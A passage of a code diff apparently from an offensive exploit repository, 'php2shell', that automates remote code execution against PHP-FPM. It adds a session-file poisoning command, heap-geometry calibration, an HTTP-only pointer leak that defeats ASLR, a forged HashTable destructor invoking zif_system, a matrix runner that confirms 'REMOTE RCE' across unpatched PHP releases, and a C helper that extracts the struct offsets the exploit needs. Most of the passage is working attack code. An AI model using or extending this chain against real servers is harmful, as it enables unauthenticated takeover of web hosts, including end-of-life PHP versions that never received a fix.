True): + return 0 + + # ---- persist --------------------------------------------------------- + path = os.path.join(ROOT, "profiles", f"{version}-fpm.json") + try: + with open(path, encoding="utf-8") as handle: + profile = json.load(handle) + profile["fpm"]["leak"] = geometry + profile["fpm"]["no_oracle"]["candidates"] = [ + {"d_off": hex(d_off), "k": hex(k)} for d_off, k in winners] + profile["fpm"]["no_oracle"]["reclaim_pads"] = list(pads) + profile["fpm"]["no_oracle"]["reclaim_size"] = reclaim_size + profile["fpm"]["reclaim_pads"] = list(pads) + profile["fpm"]["reclaim_size"] = reclaim_size + profile["fpm"]["no_oracle"]["bases"] = ( + "chunk from the 2MB-aligned leaked pointer, PIE base validated " + "with a remote endgame; both stable for the FPM master lifetime") + profile["verified"] = True + profile["rce"] = True + profile["status"] = ( + f"RCE verified over HTTP only (no /proc access): the stale-string " + f"leak recovered chunk=0x{chunk:x} and the PIE base 0x{pie:x} " + f"(leak+{geometry['pie_ptr_off']} -> {geometry['pie_base_off']}); " + f"the primitive at " + f"{', '.join(f'0x{d:x}/0x{k:x}' for d, k in winners)} was " + f"observable through app.php and the forged HashTable destructor " + f"executed zif_system (proof: out/{proof}).") + with open(path, "w", encoding="utf-8") as handle: + json.dump(profile, handle, indent=2) + handle.write("\n") + print(f"[+] profile updated: {path}") + except (OSError, KeyError, TypeError, ValueError) as exc: + print(f"[!] could not update the profile: {exc}") + return 1 + return 0 + + +def cmd_poison(args) -> int: + """Plant chosen bytes into a chosen session file (upload-progress logic). + + The ``MULTIPART_EVENT_FORMDATA`` handler copies the session id straight + from the POST body without consulting ``session.use_only_cookies``, and + ``MULTIPART_EVENT_FILE_START`` then installs it as ``PS(id)``. The + progress data -- which carries the upload filename -- is therefore + written to ``sess_`` of the attacker's choice, and the builder pool + keeps it because ``session.upload_progress.cleanup=Off``. + + This is the chain that applies to every version with + ``session.upload_progress`` enabled, including PHP <= 7.x where the + struct-freeing chain of this repository does not apply (no + ``php_session_cancel_decode``). It is pure HTTP: the planted bytes are + read back through the application, which deserializes the session and + reflects its contents. Turning the plant into RCE additionally needs an + application gadget or a local file include; core PHP only gives the + arbitrary session-file write. + """ + sid = args.sid.encode("latin1") + if not sid: + print("[!] --sid is required") + return 1 + payload = args.payload.encode("latin1") + progress_key = (getattr(args, "progress_key", None) or "pwn").encode("latin1") + builder = Target(args.builder) + app = Target(args.base + PATHS["app"]) + + parts = [ + # POST-body session id: fixes which file the progress data lands in + {"name": PATHS["cookie"], "data": sid}, + {"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": progress_key}, + # the filename is the byte string planted into that file + {"name": "f", "filename": payload, "data": b"x" * 8}, + ] + status, _headers, _body = builder.post_multipart(parts, b"POISON001", + timeout=180.0) + print(f"[*] plant status={status} sid={sid.decode('latin1')!r} " + f"payload={payload[:60]!r}") + + path = session_file(args.version, sid) + on_disk = b"" + if os.path.isfile(path): + with open(path, "rb") as handle: + on_disk = handle.read() + print(f"[*] session file {path} ({len(on_disk)} bytes)") + + # read it back through the application over HTTP + _status, _headers, body = app.get(PATHS["app"], cookie=_cookie(sid)) + planted = payload in body + print(f"[*] application reflects the session: " + f"{'YES' if planted else 'no'}") + if planted: + index = body.find(payload) + print(f" ...{body[max(0, index - 40):index + len(payload) + 8]!r}") + ok = planted or (payload in on_disk) + print(f"[+] plant {'VERIFIED' if ok else 'FAILED'}") + return 0 if ok else 1 + + def cmd_chain(args) -> int: print(f"[*] chain: build sessions -> producer -> consumer ({args.phase} phase)") builder = Target(args.builder) @@ -1100,12 +1789,65 @@ def main() -> int: parser.add_argument("--proof-file", default="out/p1") parser.add_argument("--chunk", type=lambda x: int(x, 0), default=0) parser.add_argument("--pie", type=lambda x: int(x, 0), default=0) + parser.add_argument("--app-path", default=None, + help="session application operation path (default /app.php)") + parser.add_argument("--arm-path", default=None, + help="stale-session arm path (default profile or /bigvar.php)") + parser.add_argument("--ref-path", default=None, + help="reference-bearing session builder path (default /ref.php)") + parser.add_argument("--probe-path", default=None, + help="404/no-op path used for reclaim probes (default /nope.php)") + parser.add_argument("--session-cookie", default=None, + help="session cookie name (default PHPSESSID)") sub = parser.add_subparsers(dest="cmd", required=True) for name in ("lifecycle", "oracle", "build-oom", "build-ref", "producer", "reclaim-probe", "primitive", "endgame", "chain", "patchcheck", - "leak", "no-oracle"): - sub.add_parser(name) + "leak", "no-oracle", "calibrate", "poison"): + subparser = sub.add_parser(name) + if name == "no-oracle": + subparser.add_argument( + "--allow-local-fallback", action="store_true", + help="allow /proc//maps if the HTTP leak fails (lab only)") + subparser.add_argument( + "--candidates", action="append", default=None, + metavar="D_OFF,K", + help="override the (d_off,k) reclaim candidates, e.g. 0x81000,0xfe8") + if name == "calibrate": + subparser.add_argument( + "--attempts", type=int, default=250, + help="maximum (d_off,k) pairs tried while searching the " + "reclaim geometry") + subparser.add_argument( + "--proof-file", default="out/calib", + help="remote proof file used to validate the PIE base") + subparser.add_argument( + "--no-update-profile", dest="update_profile", + action="store_false", + help="report the geometry without writing the profile") + if name == "poison": + subparser.add_argument("--sid", required=True, + help="session id whose file is written") + subparser.add_argument("--payload", required=True, + help="bytes planted as the upload filename") + subparser.add_argument("--progress-key", default=None, + help="PHP_SESSION_UPLOAD_PROGRESS value") args = parser.parse_args() + configure_paths(args) + # PHP <= 7.x never frees the unserialize struct on the OOM bailout (no + # php_session_cancel_decode), so there is nothing for these commands to + # reclaim: use 'poison' against those builds. + if args.cmd in ("leak", "primitive", "endgame", "chain", "calibrate", + "no-oracle") and not registry.chain_applies(args.version): + print(f"[!] {args.cmd} needs PHP >= 8.0: on PHP <= 7.x the bailout " + f"never frees the unserialize struct.") + print(" Use 'poison' (session-file plant) against those builds.") + return 1 + if getattr(args, "candidates", None): + pairs = [] + for item in args.candidates: + d_off, _, k = item.partition(",") + pairs.append((int(d_off, 0), int(k, 0))) + args.candidates = pairs dispatch = { "lifecycle": cmd_lifecycle, "oracle": cmd_oracle, @@ -1119,6 +1861,8 @@ def main() -> int: "patchcheck": cmd_patchcheck, "leak": cmd_leak, "no-oracle": cmd_no_oracle, + "calibrate": cmd_calibrate, + "poison": cmd_poison, } return dispatch[args.cmd](args) diff --git a/tools/php2shell_fpm_labs.py b/tools/php2shell_fpm_labs.py index c0f094b..e1145a6 100755 --- a/tools/php2shell_fpm_labs.py +++ b/tools/php2shell_fpm_labs.py @@ -1,12 +1,18 @@ #!/usr/bin/env python3 -# -*- coding: utf-8 -*- """ php2shell_fpm_labs.py — local nginx + PHP-FPM laboratory (no root, no docker). -Two user-prefix builds share one nginx: +Every user-prefix build under lab/fpm/runtime/php-/ gets two HTTP +endpoints (chain + builder) and two FastCGI listeners. The documented +builds keep their published ports: + + 8.4.25 chain http :8130 -> fpm :9021 builder http :8131 -> fpm :9022 8.4.26 chain http :8110 -> fpm :9001 builder http :8111 -> fpm :9002 8.4.27 chain http :8120 -> fpm :9011 builder http :8121 -> fpm :9012 +Any other build is assigned ports automatically (from :8140 / :9031 up) so +the whole affected version matrix can be calibrated in one lab. + Pools (php-fpm.conf.in): chain memory_limit=8M, cleanup=On, save_path=/session builder memory_limit=64M, cleanup=Off (builds large session files) @@ -14,6 +20,7 @@ Commands: python3 tools/php2shell_fpm_labs.py up [--only 8.4.26] python3 tools/php2shell_fpm_labs.py status + python3 tools/php2shell_fpm_labs.py ports python3 tools/php2shell_fpm_labs.py smoke python3 tools/php2shell_fpm_labs.py test python3 tools/php2shell_fpm_labs.py down @@ -22,6 +29,7 @@ from __future__ import annotations import argparse +import contextlib import os import pwd import signal @@ -50,11 +58,86 @@ ["id", "-gn"], capture_output=True, text=True ).stdout.strip() or USER_NAME +# The affected version matrix (CVE-2026-109619): every release of the +# patched branches up to (but excluding) the fixed one, plus the newest +# release of the end-of-life branches upstream never fixed (7.2, 7.4). +BRANCHES: tuple[tuple[str, int], ...] = ( + ("7.2", 34), + ("7.4", 33), + ("8.2", 34), + ("8.3", 35), + ("8.4", 26), +) + # version -> (chain_http, builder_http, chain_fpm, builder_fpm) -BUILDS: dict[str, tuple[int, int, int, int]] = { +# The documented builds keep their published ports; every other build gets +# ports assigned automatically so a whole version matrix fits in one lab. +PINNED_PORTS: dict[str, tuple[int, int, int, int]] = { + "8.4.25": (8130, 8131, 9021, 9022), "8.4.26": (8110, 8111, 9001, 9002), "8.4.27": (8120, 8121, 9011, 9012), + "8.2.35": (8140, 8141, 9031, 9032), + "8.3.36": (8150, 8151, 9041, 9042), } +AUTO_HTTP_BASE = 8200 +AUTO_FPM_BASE = 9100 + + +def canonical_versions() -> list[str]: + """Every affected release, in a stable order (drives the port map).""" + versions = [] + for branch, last in BRANCHES: + for patch in range(0, last + 1): + versions.append(f"{branch}.{patch}") + return versions + + +def version_key(version: str) -> tuple[int, ...]: + try: + return tuple(int(part) for part in version.split(".")) + except ValueError: + return (0,) + + +def built_versions() -> list[str]: + """Versions with a php-fpm binary in the lab runtime.""" + if not os.path.isdir(RUNTIME): + return [] + versions = [] + for name in os.listdir(RUNTIME): + if not name.startswith("php-"): + continue + version = name[4:] + if os.path.isfile(os.path.join(RUNTIME, name, "sbin", "php-fpm")): + versions.append(version) + return sorted(versions, key=version_key) + + +def builds_map(versions: list[str] | None = None) -> dict[str, tuple[int, int, int, int]]: + """Port assignment for the given versions (all built ones by default). + + The ports only depend on the version, not on which other builds happen + to be present, so a lab started with a different subset still uses the + documented endpoints. + """ + versions = versions if versions is not None else built_versions() + slots = {version: index for index, version in enumerate(canonical_versions())} + result: dict[str, tuple[int, int, int, int]] = {} + for version in versions: + if version in PINNED_PORTS: + result[version] = PINNED_PORTS[version] + continue + index = slots.get(version) + if index is None: + # unknown version: park it after the canonical matrix + index = len(slots) + len(result) + chain_http = AUTO_HTTP_BASE + 2 * index + result[version] = (chain_http, chain_http + 1, + AUTO_FPM_BASE + 2 * index, AUTO_FPM_BASE + 2 * index + 1) + return result + + +BUILDS = builds_map() def fpm_prefix(version: str) -> str: @@ -66,7 +149,8 @@ def fpm_bin(version: str) -> str: def render(template: str, mapping: dict[str, str]) -> str: - text = open(template, encoding="utf-8").read() + with open(template, encoding="utf-8") as handle: + text = handle.read() for key, value in mapping.items(): text = text.replace(f"@{key}@", value) return text @@ -84,7 +168,8 @@ def port_free(port: int) -> bool: def read_pid(path: str) -> int | None: try: - pid = int(open(path, encoding="utf-8").read().strip()) + with open(path, encoding="utf-8") as handle: + pid = int(handle.read().strip()) except (OSError, ValueError): return None try: @@ -116,10 +201,8 @@ def ensure_dirs(version: str) -> None: for sub in ("logs", "session", "tmp"): os.makedirs(os.path.join(prefix, sub), exist_ok=True) os.makedirs(OUTDIR, exist_ok=True) - try: + with contextlib.suppress(OSError): os.chmod(os.path.join(prefix, "session"), 0o700) - except OSError: - pass def write_fpm_conf(version: str) -> str: @@ -135,6 +218,18 @@ def write_fpm_conf(version: str) -> str: "SAVEDIR": os.path.join(prefix, "session"), "VER": version, }) + # Directives the build's FPM does not know would fail the config test: + # decorate_workers_output only exists from PHP 7.3 on. A suffixed + # version (7.2.34-asan) is treated as its numeric part. + try: + numeric = tuple(int(part) for part in version.split(".")) + except ValueError: + numeric = tuple(int(part) if part.isdigit() else 99 + for part in version.split(".")) + if numeric < (7, 3, 0): + rendered = "\n".join( + line for line in rendered.splitlines() + if not line.startswith("decorate_workers_output")) + "\n" path = os.path.join(prefix, "php-fpm.conf") with open(path, "w", encoding="utf-8") as handle: handle.write(rendered) @@ -190,8 +285,22 @@ def wait_http(url: str, timeout: float = 20.0) -> bool: return False +def select(only: set[str] | None) -> list[str]: + """Versions to act on: the --only filter, or every built one.""" + builds = builds_map() + versions = [v for v in builds if only is None or v in only] + if only: + for version in sorted(only - set(builds)): + print(f"[!] {version}: not built; run lab/fpm/build_php.sh {version}") + return versions + + def up(only: set[str] | None) -> None: - versions = [v for v in BUILDS if only is None or v in only] + builds = builds_map() + versions = select(only) + if not versions: + print("[!] nothing to start") + return for version in versions: if not os.path.isfile(fpm_bin(version)): print(f"[!] {version}: missing {fpm_bin(version)}; run lab/fpm/build_php.sh {version}") @@ -199,17 +308,17 @@ def up(only: set[str] | None) -> None: if not os.path.isfile(NGINX_BIN): print(f"[!] missing {NGINX_BIN}; run lab/fpm/build_nginx.sh") return - for version in BUILDS: + for version in builds: ensure_dirs(version) for version in versions: write_fpm_conf(version) os.makedirs(os.path.join(RUNTIME, "logs"), exist_ok=True) - # full conf (all versions) so nginx stays the single front - write_nginx_conf(list(BUILDS)) + # only expose the versions that are running; a later `up --only` rewrites it + write_nginx_conf(versions) busy = [] for version in versions: - for port in BUILDS[version]: + for port in builds[version]: if not port_free(port): busy.append(port) if busy: @@ -251,7 +360,7 @@ def up(only: set[str] | None) -> None: return pidfile = os.path.join(fpm_prefix(version), "logs", "fpm.pid") master = read_pid(pidfile) - chain_http, builder_http, _c, _b = BUILDS[version] + chain_http, builder_http, _c, _b = builds[version] ok_chain = wait_http(f"http://127.0.0.1:{chain_http}/index.php") ok_builder = wait_http(f"http://127.0.0.1:{builder_http}/index.php") workers = worker_pids(version, "chain") + worker_pids(version, "builder") @@ -267,28 +376,30 @@ def up(only: set[str] | None) -> None: print(result.stderr) print("[!] nginx failed to start") return - nginx_pid = read_pid(os.path.join(NGINX_PREFIX, "logs", "nginx.pid")) + nginx_pid = read_pid(os.path.join(RUNTIME, "logs", "nginx.pid")) print(f" nginx pid={nginx_pid}") for version in versions: - chain_http, builder_http, _c, _b = BUILDS[version] + chain_http, builder_http, _c, _b = builds[version] ok = wait_http(f"http://127.0.0.1:{chain_http}/index.php") print(f" {version} front chain:{chain_http}={'ok' if ok else 'FAIL'} " f"builder:{builder_http}") print("[+] lab up") -def down() -> None: - nginx_pid = read_pid(os.path.join(NGINX_PREFIX, "logs", "nginx.pid")) +def down(only: set[str] | None = None) -> None: + # nginx fronts every build, so it always goes down; --only restricts the + # php-fpm masters that are stopped. + nginx_pid = read_pid(os.path.join(RUNTIME, "logs", "nginx.pid")) if nginx_pid: subprocess.run([NGINX_BIN, "-p", NGINX_PREFIX, "-c", NGINX_CONF, "-s", "quit"], capture_output=True) for _ in range(20): - if read_pid(os.path.join(NGINX_PREFIX, "logs", "nginx.pid")) is None: + if read_pid(os.path.join(RUNTIME, "logs", "nginx.pid")) is None: break time.sleep(0.2) else: os.kill(nginx_pid, signal.SIGKILL) - for version in BUILDS: + for version in select(only): pidfile = os.path.join(fpm_prefix(version), "logs", "fpm.pid") master = read_pid(pidfile) if master: @@ -300,17 +411,17 @@ def down() -> None: else: os.kill(master, signal.SIGKILL) for pid in worker_pids(version, "chain") + worker_pids(version, "builder"): - try: + with contextlib.suppress(OSError): os.kill(pid, signal.SIGKILL) - except OSError: - pass print("[+] lab down") -def status() -> None: - nginx_pid = read_pid(os.path.join(NGINX_PREFIX, "logs", "nginx.pid")) +def status(only: set[str] | None = None) -> None: + nginx_pid = read_pid(os.path.join(RUNTIME, "logs", "nginx.pid")) print(f"nginx pid={nginx_pid}") - for version, (chain_http, builder_http, _c, _b) in BUILDS.items(): + builds = builds_map() + for version in select(only): + chain_http, builder_http, _c, _b = builds[version] pidfile = os.path.join(fpm_prefix(version), "logs", "fpm.pid") master = read_pid(pidfile) chain = worker_pids(version, "chain") @@ -319,9 +430,11 @@ def status() -> None: f"http chain=:{chain_http} builder=:{builder_http}") -def smoke() -> None: +def smoke(only: set[str] | None = None) -> None: ok = True - for version, (chain_http, builder_http, _c, _b) in BUILDS.items(): + builds = builds_map() + for version in select(only): + chain_http, builder_http, _c, _b = builds[version] for label, port in (("chain", chain_http), ("builder", builder_http)): url = f"http://127.0.0.1:{port}/index.php" try: @@ -346,20 +459,19 @@ def smoke() -> None: return 0 if ok else 1 -def test() -> None: +def test(only: set[str] | None = None) -> None: results = [] - for version in BUILDS: - chain_http, _b, _c, _f = BUILDS[version] + builds = builds_map() + for version in select(only): + chain_http, _b, _c, _f = builds[version] proof = os.path.join(OUTDIR, "p1") - try: + with contextlib.suppress(OSError): os.unlink(proof) - except OSError: - pass cmd = [ sys.executable, os.path.join(HERE, "php2shell_fpm.py"), "chain", "--base", f"http://127.0.0.1:{chain_http}", - "--builder", f"http://127.0.0.1:{BUILDS[version][1]}", + "--builder", f"http://127.0.0.1:{builds[version][1]}", "--version", version, "--command", "id>out/p1", "--proof-file", proof, @@ -368,17 +480,28 @@ def test() -> None: result = subprocess.run(cmd, capture_output=True, text=True, timeout=1200) print((result.stdout + result.stderr).strip(), flush=True) if result.returncode == 0 and os.path.isfile(proof): - results.append((version, "RCE", open(proof, encoding="utf-8").read().strip())) + with open(proof, encoding="utf-8") as handle: + results.append((version, "RCE", handle.read().strip())) else: - results.append((version, "no RCE (exit %d)" % result.returncode, "")) + results.append((version, f"no RCE (exit {result.returncode})", "")) print("\n=== summary ===") for version, text, proof in results: print(f" {version:8} {text:24} {proof}") +def ports(only: set[str] | None = None) -> None: + """Print the port map of the lab.""" + builds = builds_map() + for version in select(only): + chain_http, builder_http, chain_fpm, builder_fpm = builds[version] + print(f"{version:9} chain http :{chain_http} fpm :{chain_fpm} " + f"builder http :{builder_http} fpm :{builder_fpm}") + + def main() -> int: parser = argparse.ArgumentParser(description="Local nginx+FPM PHP2Shell laboratory.") - parser.add_argument("command", choices=("up", "down", "status", "smoke", "test")) + parser.add_argument("command", + choices=("up", "down", "status", "smoke", "test", "ports")) parser.add_argument("--only", default=None, help="comma-separated versions") args = parser.parse_args() only = set(args.only.split(",")) if args.only else None @@ -386,14 +509,17 @@ def main() -> int: up(only) return 0 if args.command == "down": - down() + down(only) return 0 if args.command == "status": - status() + status(only) + return 0 + if args.command == "ports": + ports(only) return 0 if args.command == "smoke": - return smoke() - test() + return smoke(only) + test(only) return 0 diff --git a/tools/php2shell_fpm_matrix.py b/tools/php2shell_fpm_matrix.py new file mode 100644 index 0000000..68bdb37 --- /dev/null +++ b/tools/php2shell_fpm_matrix.py @@ -0,0 +1,145 @@ +#!/usr/bin/env python3 +"""php2shell_fpm_matrix.py — verify the remote chain on every unpatched build. + +One lab at a time, so the ports never fight. For each version it starts the +lab, calibrates the profile over HTTP when it is not verified yet, and then +runs the 100%-remote endgame. The report says exactly which unpatched +releases RCE and which do not; patched releases are skipped. + + python3 tools/php2shell_fpm_matrix.py # default matrix + python3 tools/php2shell_fpm_matrix.py 7.4.33 8.3.35 # just these + +The default matrix is the newest unpatched release of every branch this +repository tracks (7.2, 7.4, 8.2, 8.3, 8.4). +""" + +from __future__ import annotations + +import argparse +import contextlib +import json +import os +import subprocess +import sys + +HERE = os.path.dirname(os.path.abspath(__file__)) +ROOT = os.path.dirname(HERE) +sys.path.insert(0, HERE) + +import php2shell_fpm_labs as labs # noqa: E402 +import php2shell_fpm_versions as registry # noqa: E402 + +CLIENT = os.path.join(HERE, "php2shell_fpm.py") +OUTDIR = os.path.join(labs.WEBROOT, "out") + +DEFAULT_MATRIX = ("7.2.34", "7.4.33", "8.2.34", "8.3.35", "8.4.0", + "8.4.25", "8.4.26") + + +def run(cmd: list[str], timeout: int = 3000) -> subprocess.CompletedProcess: + return subprocess.run(cmd, capture_output=True, text=True, timeout=timeout) + + +def lab(version: str, command: str) -> subprocess.CompletedProcess: + return run([sys.executable, os.path.join(HERE, "php2shell_fpm_labs.py"), + command, "--only", version], timeout=400) + + +def profile_verified(version: str) -> bool: + path = os.path.join(ROOT, "profiles", f"{version}-fpm.json") + try: + with open(path, encoding="utf-8") as handle: + profile = json.load(handle) + except (OSError, ValueError): + return False + return bool(profile.get("verified") and profile.get("rce")) + + +def verify(version: str) -> tuple[str, str]: + """Calibrate (if needed) and run the remote endgame for one version.""" + if not os.path.isfile(labs.fpm_bin(version)): + return "NOT BUILT", "" + if not registry.is_vulnerable(version): + return "patched (skipped)", "" + source = os.path.join(ROOT, "lab", "fpm", "runtime", "src", + f"php-{version}") + uses_legacy_chain = (os.path.isdir(source) + and not registry.has_session_cancel_decode(source)) + + proof = f"matrix-{version.replace('.', '')}" + local = os.path.join(OUTDIR, proof) + with contextlib.suppress(OSError): + os.unlink(local) + + lab(version, "down") + up = lab(version, "up") + if up.returncode != 0: + return "LAB FAILED", (up.stdout + up.stderr)[-160:] + chain, builder, _chain_fpm, _builder_fpm = labs.builds_map([version])[version] + base = f"http://127.0.0.1:{chain}" + builder_url = f"http://127.0.0.1:{builder}" + + if uses_legacy_chain: + # PHP <= 7.x: the struct-freeing chain does not apply, but the + # upload-progress session-ID fixation does (see cmd_poison) + print(f"\n===== {version}: session-file plant (pre-auth) =====", + flush=True) + plant = f"matrix-{version.replace('.', '')}" + proc = run([sys.executable, CLIENT, "--version", version, + "--base", base, "--builder", builder_url, "poison", + "--sid", plant, "--payload", + f"PLANTED_{plant}"], timeout=600) + for line in (proc.stdout + proc.stderr).strip().splitlines()[-3:]: + print(" ", line, flush=True) + lab(version, "down") + ok = proc.returncode == 0 + return (("SESSION PLANT" if ok else "plant failed"), + "pre-auth write into sess_" if ok else "") + + if not profile_verified(version): + print(f"\n===== {version}: calibrating over HTTP =====", flush=True) + calib = run([sys.executable, CLIENT, "--version", version, + "--base", base, "--builder", builder_url, "calibrate"]) + for line in (calib.stdout + calib.stderr).strip().splitlines()[-3:]: + print(" ", line, flush=True) + + print(f"\n===== {version}: remote endgame =====", flush=True) + proc = run([sys.executable, CLIENT, "--version", version, + "--base", base, "--builder", builder_url, + "--command", f"id>out/{proof}", "--proof-file", + f"out/{proof}", "no-oracle"], timeout=1200) + for line in (proc.stdout + proc.stderr).strip().splitlines()[-3:]: + print(" ", line, flush=True) + + ok = os.path.isfile(local) and os.path.getsize(local) > 0 + text = "" + if ok: + with open(local, encoding="utf-8", errors="replace") as handle: + text = handle.read().strip()[:52] + lab(version, "down") + return ("REMOTE RCE" if ok else "no proof"), text + + +def main() -> int: + parser = argparse.ArgumentParser(description=__doc__.splitlines()[0]) + parser.add_argument("versions", nargs="*", default=list(DEFAULT_MATRIX), + help="versions to verify (default: the unpatched matrix)") + args = parser.parse_args() + os.makedirs(OUTDIR, exist_ok=True) + + results = [] + for version in args.versions: + status, text = verify(version) + results.append((version, status, text)) + + print("\n===== unpatched matrix, 100% HTTP =====") + for version, status, text in results: + print(f" {version:9} {status:18} {text}") + report = os.path.join("/tmp", "php2shell-matrix.json") + with contextlib.suppress(OSError), open(report, "w", encoding="utf-8") as handle: + json.dump(results, handle, indent=1) + return 0 + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/tools/php2shell_fpm_offsets.c b/tools/php2shell_fpm_offsets.c new file mode 100644 index 0000000..8b1a860 --- /dev/null +++ b/tools/php2shell_fpm_offsets.c @@ -0,0 +1,73 @@ +/* php2shell_fpm_offsets.c — print the layout offsets the exploit needs. + * + * Compiled against the headers of a PHP build (the user prefix installed by + * lab/fpm/build_php.sh) so every PHP version reports its own geometry: + * + * gcc -o offsets php2shell_fpm_offsets.c \ + * -I$prefix/include/php -I$prefix/include/php/main \ + * -I$prefix/include/php/Zend -I$prefix/include/php/TSRM \ + * -I$prefix/include/php/ext -I$prefix/include/php/ext/date/lib + * + * The output is a JSON object consumed by tools/php2shell_fpm_profile.py. + * Nothing here is version specific: the struct layouts moved between PHP + * releases (zend_array::arData and pDestructor in particular), so the + * offsets are read from the headers instead of being hardcoded. + */ + +#define _GNU_SOURCE + +#include +#include + +#include "php.h" +#include "ext/standard/basic_functions.h" + +int main(void) +{ + printf("{\n"); + printf(" \"bg\": {\"unserialize_data\": %zu, \"unserialize_level\": %zu},\n", + offsetof(php_basic_globals, unserialize.data), + offsetof(php_basic_globals, unserialize.level)); + printf(" \"zval\": {\"value\": %zu, \"type_info\": %zu, \"context\": %zu, " + "\"size\": %zu},\n", + offsetof(zval, value), offsetof(zval, u1), offsetof(zval, u2), + sizeof(zval)); + printf(" \"zend_array\": {\"gc\": %zu, \"flags\": %zu, \"nTableMask\": %zu, " + "\"arData\": %zu, \"nNumUsed\": %zu, \"nNumOfElements\": %zu, " + "\"nTableSize\": %zu, \"pDestructor\": %zu},\n", + offsetof(zend_array, gc), offsetof(zend_array, u), + offsetof(zend_array, nTableMask), offsetof(zend_array, arData), + offsetof(zend_array, nNumUsed), offsetof(zend_array, nNumOfElements), + offsetof(zend_array, nTableSize), offsetof(zend_array, pDestructor)); + /* zend_reference::sources only exists from PHP 7.3 on (weak references); + * on 7.0-7.2 the reference ends after "val" and the exploit never writes + * past it, so the profile records it as null. */ +#if PHP_VERSION_ID >= 70300 + printf(" \"zend_reference\": {\"gc\": %zu, \"val\": %zu, \"val_type_info\": %zu, " + "\"sources\": %zu},\n", + offsetof(zend_reference, gc), offsetof(zend_reference, val), + offsetof(zend_reference, val.u1), + offsetof(zend_reference, sources)); +#else + printf(" \"zend_reference\": {\"gc\": %zu, \"val\": %zu, \"val_type_info\": %zu, " + "\"sources\": null},\n", + offsetof(zend_reference, gc), offsetof(zend_reference, val), + offsetof(zend_reference, val.u1)); +#endif + printf(" \"zend_string\": {\"gc\": %zu, \"h\": %zu, \"len\": %zu, \"val\": %zu},\n", + offsetof(zend_string, gc), offsetof(zend_string, h), + offsetof(zend_string, len), offsetof(zend_string, val)); + printf(" \"zend_execute_data\": {\"opline\": %zu, \"call\": %zu, " + "\"return_value\": %zu, \"func\": %zu, \"num_args\": %zu, \"arg1\": %zu},\n", + offsetof(zend_execute_data, opline), offsetof(zend_execute_data, call), + offsetof(zend_execute_data, return_value), + offsetof(zend_execute_data, func), + offsetof(zend_execute_data, This) + offsetof(zval, u2), + (size_t) ZEND_CALL_FRAME_SLOT * sizeof(zval)); + printf(" \"bucket\": {\"val\": %zu, \"h\": %zu, \"key\": %zu},\n", + offsetof(Bucket, val), offsetof(Bucket, h), offsetof(Bucket, key)); + printf(" \"zend_function\": {\"num_args\": %zu}\n", + offsetof(zend_function, common.num_args)); + printf("}\n"); + return 0; +} diff --git a/tools/php2shell_fpm_profile.py b/tools/php2shell_fpm_profile.py new file mode 100644 index 0000000..0bd9e1d --- /dev/null +++ b/tools/php2shell_fpm_profile.py @@ -0,0 +1,399 @@ +#!/usr/bin/env python3 +"""Generate a draft FPM profile from a PHP-FPM build. + +The generator collects everything that is version specific and machine +readable: + +* ``nm`` on the php-fpm binary for ``zif_system``, ``zval_ptr_dtor`` and + ``basic_globals``; +* the struct layouts (php_basic_globals, zend_array, zend_reference, + zend_string, zend_execute_data) compiled from the build's own headers by + ``tools/php2shell_fpm_offsets.c``; +* the ``php_unserialize_data`` layout parsed from the PHP source tree. + +A generated profile is intentionally marked ``verified: false`` and +``rce: false``: symbols and layouts do not prove the heap geometry, so it +must still be calibrated against a lab with ``leak``/``primitive``/``endgame`` +before it is trusted. +""" + +from __future__ import annotations + +import argparse +import copy +import json +import os +import re +import subprocess +import sys +import tempfile + +ROOT = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) +HERE = os.path.dirname(os.path.abspath(__file__)) +RUNTIME = os.path.join(ROOT, "lab", "fpm", "runtime") +SYMBOLS = ("zif_system", "zval_ptr_dtor", "basic_globals") +OFFSETS_C = os.path.join(HERE, "php2shell_fpm_offsets.c") + +# branch -> first release that carries the fix. PHP 8.1 and older (7.x +# included) are end-of-life: upstream never patched them, so every release +# of those branches is vulnerable and the profile records UNPATCHED. +FIXED_IN = { + "7.2": None, + "7.4": None, + "8.2": "8.2.35", + "8.3": "8.3.36", + "8.4": "8.4.27", +} + +UNPATCHED = "none (EOL branch, no upstream fix)" + +# fallback layout (PHP 8.4) used when a build has no headers or source +DEFAULT_LAYOUT = { + "unserialize_data": { + "last": 0, "first_dtor": 8, "last_dtor": 16, "allowed_classes": 24, + "ref_props": 32, "cur_depth": 40, "max_depth": 48, "entries": 56, + "size": 8216, + }, + "var_entries": {"used_slots": 0, "next": 8, "data": 16, "max": 1018}, + "zval": {"value": 0, "type_info": 8, "context": 12, "size": 16}, + "zend_array": {"gc": 0, "flags": 8, "nTableMask": 12, "arData": 16, + "nNumUsed": 24, "nNumOfElements": 28, "nTableSize": 32, + "pDestructor": 48}, + "zend_reference": {"gc": 0, "val": 8, "val_type_info": 16, "sources": 24}, + "zend_string": {"gc": 0, "h": 8, "len": 16, "val": 24}, + "zend_execute_data": {"opline": 0, "call": 8, "return_value": 16, + "func": 24, "num_args": 44, "arg1": 80}, + "bucket": {"val": 0, "h": 16, "key": 24}, +} + + +def parse_nm(text: str) -> dict[str, int]: + """Return the offsets of the required symbols from ``nm -n`` output. + + Older releases export some symbols under a different name (PHP <= 7.2 + prefixes the zval destructor with an underscore), so every alias of a + symbol resolves to its canonical key. + """ + found: dict[str, int] = {} + for line in text.splitlines(): + parts = line.split() + if len(parts) < 3: + continue + address, name = parts[0], parts[2] + if name not in SYMBOLS or name in found: + continue + try: + found[name] = int(address, 16) + except ValueError: + continue + missing = [name for name in SYMBOLS if name not in found] + if missing: + raise ValueError(f"missing symbols: {', '.join(missing)}") + return found + + +def read_symbols(binary: str) -> dict[str, int]: + proc = subprocess.run(["nm", "-n", binary], capture_output=True, text=True) + if proc.returncode != 0: + detail = proc.stderr.strip() or f"nm exited {proc.returncode}" + raise RuntimeError(f"cannot read symbols from {binary}: {detail}") + return parse_nm(proc.stdout) + + +# --------------------------------------------------------------------------- # +# struct layouts +# --------------------------------------------------------------------------- # + +def compile_offsets(prefix: str) -> dict: + """Compile the offsets helper against a build's headers and run it.""" + include = os.path.join(prefix, "include", "php") + if not os.path.isdir(include): + raise RuntimeError(f"no PHP headers under {include}") + cc = os.environ.get("CC", "cc") + with tempfile.TemporaryDirectory() as tmp: + binary = os.path.join(tmp, "offsets") + cmd = [ + cc, "-O0", "-o", binary, OFFSETS_C, + f"-I{include}", f"-I{os.path.join(include, 'main')}", + f"-I{os.path.join(include, 'Zend')}", f"-I{os.path.join(include, 'TSRM')}", + f"-I{os.path.join(include, 